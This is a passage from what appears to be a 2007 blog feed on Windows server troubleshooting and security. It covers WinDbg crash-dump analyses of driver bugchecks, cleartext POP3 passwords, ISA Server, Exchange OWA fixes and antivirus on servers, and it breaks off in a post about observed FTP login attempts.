<strong><span style="color:#330099;">intelppm</span><span style="color:#330099;">+0x2ca2</span></strong></span><br /><span style="font-family:courier new;">808a3604 00000000 0000000e 00000000 00000000 nt!KiIdleLoop+0xa</span><br /><br /><span style="font-family:verdana;"><strong>Let's take a look at registers</strong></span><br /><span style="font-family:Courier New;">0: kd> r</span><br /><span style="font-family:Courier New;">eax=6029c494 ebx=ffdffee0 ecx=ffdffee0 edx=00000041 esi=ffdffec0 edi=867edd70</span><br /><span style="font-family:Courier New;">eip=f75d9ca2 esp=808a35e4 ebp=808a3600 iopl=0 nv up ei pl nz na po nc</span><br /><span style="font-family:Courier New;">cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000206</span><br /><span style="font-family:Courier New;"><strong><span style="color:#330099;">intelppm+0x2ca2</span></strong>:f75d9ca2 01895104fbf4 add [ecx+0xf4fb0451],ecx ds:0023:f4db0331=????????</span><br /><br /><span style="font-family:verdana;">I am not sure if this is actual dump file problem or something else. Analysis it stating that <span style="font-family:courier new;">fw.sys</span> caused the problem, but in STACK_TEXT and in registers we can spot <span style="font-family:courier new;color:#330099;"><strong>intelppm+0x2ca2</strong></span> (<span style="font-family:courier new;">intelppm.sys</span> driver). <span style="font-family:courier new;">intelppm.sys</span> is Microsoft's Processor Device Driver... :-). OK. Let's say I am willing to give benefit of the doubt to WinDBG... :-) </span><span style="font-family:Verdana;"></span><br /><br /><strong><span style="font-family:verdana;">Let's get some more information about </span><span style="font-family:courier new;">fw.sys</span></strong><br /><span style="font-family:courier new;">0: kd> lm v m fw*</span><br /><span style="font-family:courier new;">start end module name</span><br /><span style="font-family:courier new;">f642e000 f69ceb20 fw (no symbols)</span><br /><span style="font-family:courier new;">Loaded symbol image file: fw.sys </span><br /><span style="font-family:courier new;">Image path: fw.sys </span><br /><span style="font-family:courier new;">Image name: fw.sys </span><br /><span style="font-family:courier new;">Timestamp: Mon Oct 02 19:29:35 2006 (45214C7F) <span style="color:#330099;"><strong><-- Coult be a bit old...</strong></span></span><br /><span style="font-family:courier new;">CheckSum: 005ACF67 </span><br /><span style="font-family:courier new;">ImageSize: 005A0B20 </span><br /><span style="font-family:courier new;">Translations: 0000.04b0 0000.04e0 0409.04b0 0409.04e0</span><br /><br /><span style="font-family:Verdana;"><strong>And for <span style="font-family:courier new;">intelppm.sys</span></strong></span><br /><span style="font-family:courier new;">0: kd> lm v m intel*</span><br /><span style="font-family:courier new;">start end module name</span><br /><span style="font-family:courier new;">f75d7000 f75e6000 intelppm T (no symbols)</span><br /><span style="font-family:courier new;">Loaded symbol image file: intelppm.sys </span><br /><span style="font-family:courier new;">Image path: intelppm.sys </span><br /><span style="font-family:courier new;">Image name: intelppm.sys </span><br /><span style="font-family:courier new;">Timestamp: unavailable (FFFFFFFE) <strong><span style="color:#330099;"><-- Hmmm... ?</span></strong> </span><br /><span style="font-family:courier new;">CheckSum: missing <strong><span style="color:#330099;"><-- Hmmm; This shouldn't be missing</span></strong> </span><br /><span style="font-family:courier new;">ImageSize: 0000F000 </span><br /><span style="font-family:courier new;">Translations: 0000.04b0 0000.04e0 0409.04b0 0409.04e0</span><br /><br /><span style="font-family:verdana;"><span style="font-family:courier new;">fw.sys</span> driver belongs to <a href="http://www.checkpoint.com/">Check Point </a>firewall.</span><br /><br /><span style="font-family:verdana;">I checked for any updates on Chek Point's website and knowledgebase where they do list few problems/solutions related to <span style="font-family:courier new;">fw.sys</span> and blue screens. Unfortunately Check Point seemed to have some connectivity problems between their front end and backend servers and I was not able to see any solutions... At this point I turned the case over to our in house Check Point experts... :-)</span><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3905238167785739455-3331552227662856137?l=www.krneki.net%2Fblog'/></div>Just Another Security Blog?noreply@blogger.com1tag:blogger.com,1999:blog-3905238167785739455.post-66752950595427209612007-11-05T10:03:00.000+01:002007-11-05T10:55:02.947+01:00POP3 and (password) security<span style="font-family:verdana;">This is one of the most common "security misunderstanding" and I see it very often.</span><br /><span style="font-family:verdana;"><br />Whenever I am setting up e-mail servers and enabling web access, there is always a long and hard discussion on security. Customers are usually at this point worried about protection of their servers and usernames and passwords that will be sent over the internet. The obvious solution is SSL or even better TLS, which ensures that usernames, password and e-mail content are transferred from client computer to e-mail server and vice-versa in secure (encrypted) way.<br /><br />After this is done, I often get strangest request possible. Enable and open POP3 and/or IMAP access to the server... and with this one simple sentence all security planning and considerations are gone<br /><br />What I can't really understand is why is almost everyone thinking about security and SSL and encryption when it comes to web access and no one associates same security risks with POP3, IMAP, SMTP protocols and transfer of passwords?<br /><br /><a href="http://www.krneki.net/blog/uploaded_images/pop3userpass-731840.jpg"><img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://www.krneki.net/blog/uploaded_images/pop3userpass-731836.jpg" border="0" /></a></span> <span style="font-family:verdana;"><br /><div align="center">Username and password are often sent in clear text (picture above)<br /></div><div align="center">Click image to enlarge</div><br />POP3 is not some magical protocol that would encrypt anything by itself. Yes, it is possible to set up POP3 in secure way (POP3S, IMAPS), but requires a bit more work compared to HTTPS and web access.<br /><br />With web access you don't have to configure the clients, while with POP3 and IMAP you have to set the clients up to use secure protocols to send usernames and password in encrypted way. There is also an option which will protect (encrypt) the content of the e-mail while being downloaded from the server.<br /><br /><p><a href="http://www.krneki.net/blog/uploaded_images/content-798736.jpg"><img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://www.krneki.net/blog/uploaded_images/content-798733.jpg" border="0" /></a></p><p align="center">Content is also often transfered without protection... (picture above)<br />Click image to enlarge</p><div align="center"></div>None of this is done by default and most ISPs work in this manner! Even in closed (corporate) environments it can be a challenging, configuring couple of hundred if not thousands of clients. Most environments will have hard time doing the switch from insecure to secure protocols (e.g. POP3 to POP3S) because of extra configuration of the clients, possible downtime or even application incompatibilities. This is why it is extremely important to set up services and networks in a secure way in the first place.<br /><br />There is another situation to consider and it is important one for roaming users. If you move from your network to a network where you are a guest, you might only be allowed access to some basic protocols such as HTTP, HTTPS, SMTP, and POP3, but not POP3S. POP3 by default runs on TCP port 110 while POP3S by default runs on TCP port 995 which might not be open on a gust network preventing roaming users from accessing their e-mails. This is more common problem then one might expect. </span><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3905238167785739455-6675295059542720961?l=www.krneki.net%2Fblog'/></div>Just Another Security Blog?noreply@blogger.com0tag:blogger.com,1999:blog-3905238167785739455.post-21342159202716815392007-10-31T19:51:00.001+01:002007-10-31T19:55:16.894+01:00ISA Server 2006 Supportability Update<div align="left"><span style="font-family:verdana;">I do a lot of work with different firewalls including <a href="http://www.microsoft.com/isaserver/default.mspx">Microsoft ISA Server</a>. As with any firewall, there is always something to troubleshoot. User can't access particular website, another user didn't receive his e-mail etc. These are all reasons why we need a good and fast way to filter and analyze firewall logs.<br /></span><br /><span style="font-family:verdana;">In ISA Server 2004 and 2006 there are few new features that come with updates and allow firewall administrators to save existing queries in XML file and reuse them at a later time.<br /></span><br /></div><a href="http://www.krneki.net/blog/uploaded_images/query_2-768253.jpg"><img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://www.krneki.net/blog/uploaded_images/query_2-768251.jpg" border="0" /><br /><p align="center"></a></p><p align="center"><span style="font-family:verdana;">Click image to enlarge</span> </p><p><span style="font-family:verdana;">For me this is really a time saver. Now I don't have to waste time and write same filters over and over again (e.g. excluding specific traffic and including other). I can simply carry most common queries on my USB drive and import them whenever I need them.<br /></p></span><span style="font-family:verdana;"><p></span><span style="font-family:verdana;">On ISA Server 2004, you get these new features when you install <a href="http://www.microsoft.com/technet/downloads/isa/2004/servicepacks/default.mspx">Service Pack 3 (SP3) for ISA Server</a>.<br /></span><br /><span style="font-family:verdana;">On ISA Server 2006, you can get these features by installing <a href="http://www.microsoft.com/downloads/details.aspx?familyid=6f629eac-d8c6-4437-9d20-b47b02db413a&displaylang=en">ISA Server 2006 Supportability Update</a> that you can download manually or you can use Microsoft Update Service.</span> </p><a href="http://www.krneki.net/blog/uploaded_images/windows-update-736357.jpg"><img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://www.krneki.net/blog/uploaded_images/windows-update-736283.jpg" border="0" /></a><br /><p align="center"><span style="font-family:verdana;">Click image to enlarge</span></p><p align="left"><span style="font-family:Verdana;">More information on ISA Server 2006 Supportability Update package can be found here "<a href="http://support.microsoft.com/kb/939455">Description of the Internet Security and Acceleration (ISA) Server 2006 Supportability Update package</a></span><span style="font-family:Verdana;">"</span></p><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3905238167785739455-2134215920271681539?l=www.krneki.net%2Fblog'/></div>Just Another Security Blog?noreply@blogger.com0tag:blogger.com,1999:blog-3905238167785739455.post-7499009805665826822007-10-25T23:32:00.001+02:002007-10-26T07:28:23.124+02:000x9C_IA32_GenuineIntel -- MACHINE_CHECK_EXCEPTION (9c)<span style="font-family:verdana;">New memory.dmp file, new challenge... :-)<br /><br />After loading file to WinDBG and running a standard set of commands I am left with following relevant information.</span><br /><br /><span style="font-family:courier new;">BUSCONNERR - Bus and Interconnect Error BUS{LL}_{PP}_{RRRR}_{II}_{T}_err These errors match the format 0000 1PPT RRRR IILL<br /><br />Concatenated Error Code: -------------------------- _VAL_UC_EN_ADDRV_PCC_BUSCONNERR_0<br /><br />This error code can be reported back to the manufacturer. They may be able to provide additional information based upon this error. All questions regarding STOP 0x9C should be directed to the hardware manufacturer.<br /><br />BUGCHECK_STR: 0x9C_IA32_GenuineIntel <strong><span style="color:#330099;"><---- Error 0x0000009C</span></strong><br /><br />DEFAULT_BUCKET_ID: DRIVER_FAULT<br /><br />CURRENT_IRQL: 2<br /><br />LAST_CONTROL_TRANSFER: from 80a84154 to 8087c480<br /><br />STACK_TEXT:<br />808a0770 80a84154 0000009c 00000000 808a07a0 nt!KeBugCheckEx+0x1b<br />808a08a4 80a7b86f 80042000 00000000 00000000 hal!HalpMcaExceptionHandler+0x11e<br />808a08a4 f6932f36 80042000 00000000 00000000 hal!HalpMcaExceptionHandlerWrapper+0x77<br />808a3600 80839b02 00000000 0000000e 00000000 <strong><span style="color:#330099;">p3!AcpiC1Idle+0x12</span></strong><br />808a3604 00000000 0000000e 00000000 00000000 nt!KiIdleLoop+0xa<br /><br />STACK_COMMAND: kb<br /><br />FOLLOWUP_IP:<br />p3!AcpiC1Idle+12<br />f6932f36 6a00 push 0x0<br /><br />FAULTING_SOURCE_CODE:<br /><br />SYMBOL_STACK_INDEX: 3<br /><br />FOLLOWUP_NAME: MachineOwner<br /><br />SYMBOL_NAME: p3!AcpiC1Idle+12<br /><br />MODULE_NAME: p3<br /><br />IMAGE_NAME: p3.sys <strong><span style="color:#330099;"><---- Here it looks like p3.sys driver caused the crash </span></strong><br />DEBUG_FLR_IMAGE_TIMESTAMP: 45d6972c<br /><br />FAILURE_BUCKET_ID: 0x9C_IA32_GenuineIntel_p3!AcpiC1Idle+12<br /><br />BUCKET_ID: 0x9C_IA32_GenuineIntel_p3!AcpiC1Idle+12<br /><br /></span><span style="font-family:courier new;">Followup: MachineOwner---------</span><br /><br />From stack it looks like p3.sys driver (Processor Device Driver) caused the crash of the server. One the other hand error 0x9C (0x0000009C) indicates hardware error.<br /><br />Best article on the subject of 0x000000C (<a href="http://support.microsoft.com/kb/162363">Understanding and troubleshooting the "Stop 0x0000009C" screen</a>) states:<br /><br /><em>"The Pentium and Pentium Pro processors provide a mechanism to detect and to report hardware-related problems such as memory parity errors and cache errors. To signal a hardware error, the processor signals the detection of a machine check error by generating a machine check exception (Interrupt 18). Windows NT simply reports the fact that the error occurred and displays parameters that you can use to decode the exception. Contact your hardware vendor or processor manufacturer for information regarding the Machine Check Architecture or consult the Intel Pentium Pro Family Developer's Manual - Volume 3: Operating System Writer's Manual."<br /></em><br />Above information is also displayed in dump file.<br /><br />Full analysis of the dump file can be found <a href="http://www.krneki.net/blog/extras/c9.txt">here</a>.<br /><br /><strong>Possible resolutions:</strong><br />Best recommendation suggested by above KB article is "<em>contact your hardware vendor</em>"<br /><br /><a href="http://wer.microsoft.com/responses/Response.aspx/134/en-US/0.0.0000.0.00000000.0.0?SGD=95e5f702-5414-4485-9db2-d3ad4306d722">Problem caused by computer hardware</a><br /><br /><strong>What you can do on your own?</strong><br /><ul><li>Test your hardware (<a href="http://oca.microsoft.com/en/windiag.asp">memory</a>, processor, ...)</li><li>Check hardware connections</li><li>Think about recent hardware changes (incompatible components)</li><li>Think about recent configuration changes (e.g. enable or disable ACPI)</li><li>Update BIOS and other hardware (firmware)</li><li>Stress test your hardware (best done before going into production with the server)<span style="font-family:Verdana;"></span></li></ul><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3905238167785739455-749900980566582682?l=www.krneki.net%2Fblog'/></div>Just Another Security Blog?noreply@blogger.com0tag:blogger.com,1999:blog-3905238167785739455.post-91036709622902342642007-10-24T22:05:00.000+02:002007-10-24T22:08:18.589+02:00Exchange Outlook Web Access (OWA) and red X<a href="http://www.krneki.net/blog/uploaded_images/RedX-785942.jpg"><img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://www.krneki.net/blog/uploaded_images/RedX-785939.jpg" border="0" /></a><br /><div align="center">Click image to enlarge<br /></div><br />This problem ocures due to changes in Windows Vista and Internet Explorer 7 where dynamic HTML Editing ActiveX control was removed from Internet Explorer.<br /><br />To solve this problem you need to update your Exchange servers with "<a href="http://www.microsoft.com/downloads/details.aspx?FamilyId=5BC06E8A-08EB-4976-BC68-A03EBE3A2552&amp;displaylang=en&displaylang=en">Update for Exchange 2003 (KB 911829)</a>". Note that you have to install Exchange 2003 SP2 before you can install this update.<br /><br />Related KB article: <a href="http://support.microsoft.com/kb/911829">You receive an error message when you try to perform any editing tasks, or you must click to enable the compose frame in Outlook Web Access</a><br /><br /><strong>Important: </strong><em>Remember to always update your front-end servers first!</em><br />If you update your back-end server first and there is change in OWA functionality, clients will most likely not be able to use OWA. In the past these errors presented themselves as “Loading” text in OWA that never finished loading.<br />If you update your front-end server first, server will know about changes in functionality and will serve clients with working OWA. Now you can take your time and update all your back-end servers when you find time ;-).<div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3905238167785739455-9103670962290234264?l=www.krneki.net%2Fblog'/></div>Just Another Security Blog?noreply@blogger.com0tag:blogger.com,1999:blog-3905238167785739455.post-6465339075871684252007-10-10T09:50:00.000+02:002007-10-10T09:51:12.593+02:00ARCast.TV - Security Chat from Slovenia<p><a href="http://channel9.msdn.com/ShowPost.aspx?PostID=345524#345524">This ARCast</a> was made May 2007 at <a href="http://www.ntk2007.si/">Microsoft’s NT conference </a>in Portorož, Slovenia.</p><p>There are two Mihas on the stage. I am one of them. I can't tell you which due to security reasons. ;-)</p><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3905238167785739455-646533907587168425?l=www.krneki.net%2Fblog'/></div>Just Another Security Blog?noreply@blogger.com0tag:blogger.com,1999:blog-3905238167785739455.post-57087191003183774042007-10-06T11:20:00.000+02:002007-10-06T11:23:12.880+02:00502 Proxy Error and ISA Server 2004<span style="font-family:verdana;">It took me a bit to figure out why this ISA server was serving users with this error when they didn't ask for it: </span><br /><ul><li><span style="font-family:courier new;">Error Code: 502 Proxy Error. C</span><span style="font-family:courier new;">annot complete this function. (1003)</span></li><li><span style="font-family:courier new;">I</span><span style="font-family:courier new;">P Address: 207.46.250.101 </span></li><li><span style="font-family:courier new;">Date: 21.9.2007 5:39:07</span></li><li><span style="font-family:courier new;">Server: isaserver </span></li><li><span style="font-family:courier new;">Source: proxy</span></li></ul><p><span style="font-family:verdana;">This is what the users got in their browsers when they tried to surf to their website of choice that morning.<br /></span></p><p><span style="font-family:verdana;"></span></p><br /><p><span style="font-family:verdana;"></p></span><img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://www.krneki.net/blog/uploaded_images/ISA-502-Error-706341.jpg" border="0" /> Basically there were three reasons this took me more than 5 minutes:<br /><ul><li><span style="font-family:verdana;">The problem was just too basic</span></li><li><span style="font-family:verdana;">Error didn't give any clue to the real problem</span></li><li><span style="font-family:verdana;">It was 7:30 a.m. and I was still half asleep :-)</span></li></ul><p><span style="font-family:verdana;">I check the usual stuff for any hint what might be causing this. I checked the disk space and there was plenty of it. Nothing unusual in the Event Logs, ISA services were running fine and nothing unusual in ISA Server MMC.<br /><br />Since there was almost nothing left to check, I check network cards. Here I noticed that external Network Interface Card (NIC) has been disabled. Once I enabled it, the problem went away and I was able to get another half an hour of sleep.<br /></span><br /><span style="font-family:verdana;">I wish I would get something like "Could not connect" instead of "Error Code 502 Proxy Error". </span></p><p><span style="font-family:verdana;"><em>Note to self. Don't forget to check the basics. :-)</em></span></p><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3905238167785739455-5708719100318377404?l=www.krneki.net%2Fblog'/></div>Just Another Security Blog?noreply@blogger.com1tag:blogger.com,1999:blog-3905238167785739455.post-58940787323986805242007-10-01T18:41:00.000+02:002007-10-01T19:15:32.086+02:00Antivirus and servers<p><span style="font-family:verdana;">I am not a big believer in file level antivirus software running on servers, specially when they are holding domain controllers role or are running exchange services. In my experience they tend to cause more problems than do good. </span><span style="font-family:verdana;">While these problems are often related to misconfiguration of antivirus products they can lead to big problems with infrastructure (e.g. corrupted Active Directory or Exchange database, slow server responses and even Blue Screen of Death (BSOD)). No, I am not naming any vendor names, but I should still have some dump files laying around to prove it ;-). Anyway, they all have their fair share of "issues" :-)</span><span style="font-family:Verdana;"><br /></span><span style="font-family:verdana;"><em><br />Note: this post talks about file level antivirus, not an antivirus that is installed on e-mail servers to check inbound and outbound e-mails. I would recommend that every e-mail server has an antivirus installed to check arriving e-mails for viruses and other malicious code.</em></span></p><p><span style="font-family:verdana;"><strong>Let's take this idea step-by-step:<br /></strong></span></p><p><span style="font-family:verdana;"><strong>Virus<br /></strong></span><span style="font-family:verdana;">Property of the virus is that it can only infect a computer with some user interaction (e.g. user runs an infected file)<br /></span></p><p><span style="font-family:verdana;"><strong>Worm<br /></strong>Worms on the other hand can infect a computer without any user action. They use vulnerabilities on systems that have not been updated (patched) to infect it. At the same time you cannot really rely on antivirus to protect the computer if the computer has not been updated (patched).<br /></span><span style="font-family:verdana;">If we take a look at Blaster worm it used DCOM RPC Interface Buffer Overrun Vulnerability to infect the computer. Even up-to-date antivirus did not protect the system from infection, because the operating system itself was vulnerable. Once the operating system was updated, this computer was safe from the worm even without antivirus.<br /></span></p><p><span style="font-family:verdana;"><em>Side note: you could protect yourself from Blaster worm by enabling personal firewall on the computer (e.g. Windows Firewall)<br /></em></span></p><p><span style="font-family:verdana;"><strong>Most common ways of infection<br /></strong>One of most common way of infection is by e-mail. I am yet to see a good reason to read an e-mail on a domain controller or on Exchange server itself.<br />Downloading infected file from the internet is another common way of infection. Just like with reading an e-mail, I can’t really see a scenario where administrator would need to browse the internet from domain controller. Patches can among other ways be deployed to computers using WSUS server. This is why I usually prohibit access to the internet from servers on the firewall. If I can I go even one step further and prohibit access to the internet for any users that are members of certain groups such as Domain Administrators group in domain.<br />I usually accomplish this by using <a href="http://www.microsoft.com/isaserver/default.mspx">Microsoft ISA Server</a>, where you can configure who (user account or group) has access to the internet and who doesn't. You can also easily configure which web sites server has access to and discard all others. This way you can grant the server access to certain Microsoft websites (e.g. Windows Update) and deny access to all others by using URL addresses. Even if IP address of the destination web server changes access to the site will always work as long as URL address stays the same.<br />Other patches (e.g. driver patches) that are not available through Windows Update site, can be downloaded on the client PC where antivirus should be installed. Once the package was verified it can be copied to the server using USB memory sticks or even over the network.<br /></span></p><p><span style="font-family:verdana;">If you decide to run antivirus software on your servers, make sure it is configured properly. Here are few articles that can help you with this:<br /></span><span style="font-family:verdana;"><br /><a href="http://support.microsoft.com/default.aspx/kb/822158">Virus scanning recommendations for computers that are running Windows Server 2003, Windows 2000, or Windows XP </a></span></p><p><span style="font-family:verdana;"><a href="http://support.microsoft.com/kb/823166">Overview of Exchange Server 2003 and antivirus software </a></span></p><p><span style="font-family:verdana;"><a href="http://support.microsoft.com/kb/927059">The DHCP service does not start when you start a Windows Server 2003-based computer</a></span><br /></p><p><em>Note: I have seen it few times now and this is the reason why I decided to post this. Certain antivirus product(s) forget the exclusions that you set under certain conditions which can cause unexpected problems. (as mentioned corrupted databases etc). If you are running antivirus software on your server, check on the exclusions every once in a while, specially if your server starts to behave oddly all of a sudden.</em></p><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3905238167785739455-5894078732398680524?l=www.krneki.net%2Fblog'/></div>Just Another Security Blog?noreply@blogger.com2tag:blogger.com,1999:blog-3905238167785739455.post-2759868871866936742007-09-20T14:15:00.000+02:002007-10-01T18:42:48.918+02:00DRIVER_IRQL_NOT_LESS_OR_EQUAL (d1) in bxnd52x.sys<span style="font-family:verdana;">Every once in a while I receive a request to look at a crash dump file. I always like a good challenge and a break from my usual work. Tool that I use for basic analysis is <a href="http://www.microsoft.com/whdc/devtools/debugging/debugstart.mspx">Microsoft</a></span><span style="font-family:verdana;"><a href="http://www.microsoft.com/whdc/devtools/debugging/debugstart.mspx"> WinDbg</a>.</span><br /><br /><span style="font-family:Verdana;"></span><br /><span style="font-family:courier new;font-size:85%;">3: kd> !analyze -v <span style="color:#6666cc;"><strong><- First command that I usualy use</strong></span></span><br /><span style="font-family:courier new;font-size:85%;">************************************************************<br />** Bugcheck Analysis ** ************************************************************<br />DRIVER_IRQL_NOT_LESS_OR_EQUAL (d1) <span style="color:#6666cc;"><strong><- Error also reported on "Blue Screen"</strong></span></span><br /><br /><span style="font-family:courier new;font-size:85%;">An attempt was made to access a pageable (or completely invalid) address at aninterrupt request level (IRQL) that is too high. This is usuallycaused by drivers using improper addresses.</span><br /><br /><span style="font-family:courier new;font-size:85%;">If kernel debugger is available get stack backtrace.</span><br /><br /><span style="font-family:courier new;font-size:85%;">Arguments:</span><br /><span style="font-family:courier new;font-size:85%;">Arg1: 0000000c, memory referenced</span><br /><span style="font-family:courier new;font-size:85%;">Arg2: d0000002, IRQL</span><br /><span style="font-family:courier new;font-size:85%;">Arg3: 00000001, value 0 = read operation, 1 = write operation</span><br /><span style="font-family:courier new;font-size:85%;">Arg4: f6287cea, address which referenced memory<br /><br /></span><span style="font-family:courier new;font-size:85%;">Debugging Details:------------------</span><br /><br /><span style="font-family:courier new;font-size:85%;">WRITE_ADDRESS: 0000000c<br /><br /></span><span style="font-family:courier new;font-size:85%;">CURRENT_IRQL: 2</span><br /><br /><span style="font-family:courier new;"><span style="font-size:85%;">FAULTING_IP: </span></span><br /><span style="font-family:courier new;"><span style="font-size:85%;">tcpip!IpTerminateOffload+9b</span><br /></span><span style="font-family:courier new;"><span style="font-size:85%;">f6287cea 83671c00 and dword ptr [edi+0x1c],0x0<br /><br /></span><span style="font-size:85%;">DEFAULT_BUCKET_ID: DRIVER_FAULT</span><br /><br /><span style="font-size:85%;">BUGCHECK_STR: 0xD1</span><br /><br /><span style="font-size:85%;">LAST_CONTROL_TRANSFER: from f6287cea to 80836de5</span><br /><br /><span style="font-size:85%;">STACK_TEXT:<br /></span><span style="font-size:85%;">f78bec84 f6287cea badb0d00 00000000 85d10470 nt!KiTrap0E+0x2a7</span><br /><span style="font-size:85%;">f78bed18 f628e5ac 00000000 fbd60618 f7d29800 tcpip!IpTerminateOffload+0x9bf78bed30 f78bed30 fbd60618 00000002 00000000 tcpip!TcpInitiateUpload+0x8df78bed58 f628d634 fbd60618 00000002 891a87d4 tcpip!OlmNotifyUploadIndicate+0x60f78bed6c f71fafbd f7d29824 00000003 00000009 tcpip!TcpOffloadEventHandler+0x5bf78bed80 f76a07ef f7d29824 00000003 00000009 NDIS!NdisMTcpOffloadEventIndicate+0x1a</span><br /><span style="font-size:85%;">WARNING: Stack unwind information not available. Following frames may be wrong.</span><br /><span style="font-size:85%;">f78beda0 f72d4196 891a87d4 898ff708 00000000 <strong><span style="color:#6666cc;">bxnd52x</span></strong>+0x97ef <span style="color:#6666cc;"><strong><- File named bxnd52.sys </strong></span></span><span style="font-size:85%;">f78bedc0 f72d4880 00000000 00000000 8914d9c0 bxvbdx+0x10196</span><br /><span style="font-size:85%;">f78bedd4 f72da925 89b1f004 839364a8 00000000 bxvbdx+0x10880</span><br /><span style="font-size:85%;">f78bedf4 f72daa95 89b1f004 f78bee54 00000001 bxvbdx+0x16925</span><br /><span style="font-size:85%;">f78bee18 f72dab3e 89b1f004 f78bee54 00000001 bxvbdx+0x16a95</span><br /><span style="font-size:85%;">f78bee3c f72dabc6 89b1f004 89b20d08 000012b2 bxvbdx+0x16b3e</span><br /><span style="font-size:85%;">f78bef54 f72c9be3 00000000 00000007 f72ca338 bxvbdx+0x16bc6</span><br /><span style="font-size:85%;">f78bef80 f72ca4ac f7737a40 89b203b0 f72ca41c bxvbdx+0x5be3</span><br /><span style="font-size:85%;">f</span><span style="font-size:85%;">78bef9c 8083d99a 89b203b0 89b1f004 00000001 bxvbdx+0x64ac</span><br /><span style="font-size:85%;">f</span><span style="font-size:85%;">7</span><span style="font-size:85%;">8beff4 80839833 f535cd10 00000000 00000000 nt!KiRetireDpcList+0xca</span><br /><span style="font-size:85%;">f78beff8 f535cd10 00000000 00000000 00000000 nt!KiDispatchInterrupt+0x37</span><br /><span style="font-size:85%;">80839833 00000000 0000000a 0083850f bb830000 0xf535cd10<br /><br /></span><span style="font-size:85%;">STACK_COMMAND: kb<br /><br /></span><span style="font-size:85%;">FOLLOWUP_IP: </span><br /><span style="font-size:85%;">bxnd52x+97ef</span><br /><span style="font-size:85%;">f76a07ef 85ff test edi,edi<br /><br /></span><span style="font-size:85%;">FAULTING_SOURCE_CODE:<br /></span><span style="font-size:85%;"><br />SYMBOL_STACK_INDEX: 6<br /><br /></span><span style="font-size:85%;">FOLLOWUP_NAME: MachineOwner<br /><br /></span><span style="font-size:85%;">SYMBOL_NAME: bxnd52x+97ef<br /><br /></span><span style="font-size:85%;">MODULE_NAME: bxnd52x<br /><br /></span><span style="font-size:85%;">IMAGE_NAME: bxnd52x.sys <strong><span style="color:#6666cc;"><- File name (driver) that most likely caused the computer to crash</span></strong><br /><br /></span><span style="font-size:85%;">DEBUG_FLR_IMAGE_TIMESTAMP: 44a55446<br /><br /></span><span style="font-size:85%;">FAILURE_BUCKET_ID: 0xD1_W_bxnd52x+97ef<br /><br /></span><span style="font-size:85%;">BUCKET_ID: 0xD1_W_bxnd52x+97ef<br /><br /></span><span style="font-size:85%;">Followup: MachineOwner---------</span><br /><br /><span style="font-family:courier new;"><span style="font-size:85%;">3: kd> lmvm bxnd52x <strong><span style="color:#6666cc;"><- this command can give us more information on the file bxnd52.sys</span></strong></span></span><br /><br /><span style="font-family:courier new;font-size:85%;">start end module name</span><br /><span style="font-family:courier new;font-size:85%;">f7697000 f76a7000 bxnd52x (no symbols)</span><br /><span style="font-family:courier new;font-size:85%;">Loaded symbol image file: bxnd52x.sys</span><br /><span style="font-family:courier new;font-size:85%;">Image path: \SystemRoot\system32\DRIVERS\bxnd52x.sys</span><br /><span style="font-family:courier new;font-size:85%;">Image name: bxnd52x.sys</span><br /><span style="font-family:courier new;font-size:85%;">Timestamp: Fri Jun 30 18:41:42 2006 (44A55446) <strong><span style="color:#6666cc;"><- driver date (it looks a bit old -- more then 1 year)</span></strong> </span><br /><span style="font-family:courier new;font-size:85%;">CheckSum: 00013D96 ImageSize: 00010000 </span><br /><span style="font-family:courier new;font-size:85%;">Translations: 0000.04b0 0000.04e0 0409.04b0 0409.04e0</span><br /><br /></span><span style="font-family:verdana;">Googling the file <a href="http://www.google.com/search?hl=en&q=bxnd52x.sys">bxnd52x.sys</a> reveals that this is a Broadcom NIC (Network Interface Card) driver. In this case it is shipped as HP NC373i Multifunction Gigabit Server Adapter. At the time of writing, latest driver for this NIC awailable from HP was released in July 2007 (v. 3.4.10.0).<br /></span><br /></span><span style="font-family:Verdana;">While doing this research on Google, I noticed that there were a lot of servers with this error, specially servers that where updated to Windows Server 2003 SP2 . </span><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3905238167785739455-275986887186693674?l=www.krneki.net%2Fblog'/></div>Just Another Security Blog?noreply@blogger.com0tag:blogger.com,1999:blog-3905238167785739455.post-6255201967960870132007-09-17T18:20:00.000+02:002007-09-17T18:29:58.172+02:00Attacks against FTP servers... (Part 2)<div align="left"><span style="font-family:verdana;">In last few weeks I was monitoring my FTP servers for repeated attacks against them. At the moment I was able to identify few different types of attack. </span></div><span style="font-family:verdana;"><br />One of them successfully logged on to the FTP server with account that was created for this purpose. This time attack came from IP address 210.188.204.80 which according to <a href="http://www.apnic.net/">APNIC</a> belong so <a href="http://www.nic.ad.jp/en/">Japan Network Information Center</a>.<br /></span><span style="font-family:verdana;"><br />I</span><span style="font-family:verdana;">n the picture below, you can see successful authentication to the FTP server.<br /><br />Note that password was edited out since I plan to use this account a bit longer :-).</span><br /><br /><p align="center"><span style="font-family:verdana;"></p><a href="http://www.krneki.net/blog/uploaded_images/successauth-701195.jpg"><img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://www.krneki.net/blog/uploaded_images/successauth-701188.jpg" border="0" /><br /><p align="center"></a>Click image to enlarge<br /></p><br />After successful authentication ftp client tried to erase a folder named "sarcaxxo" 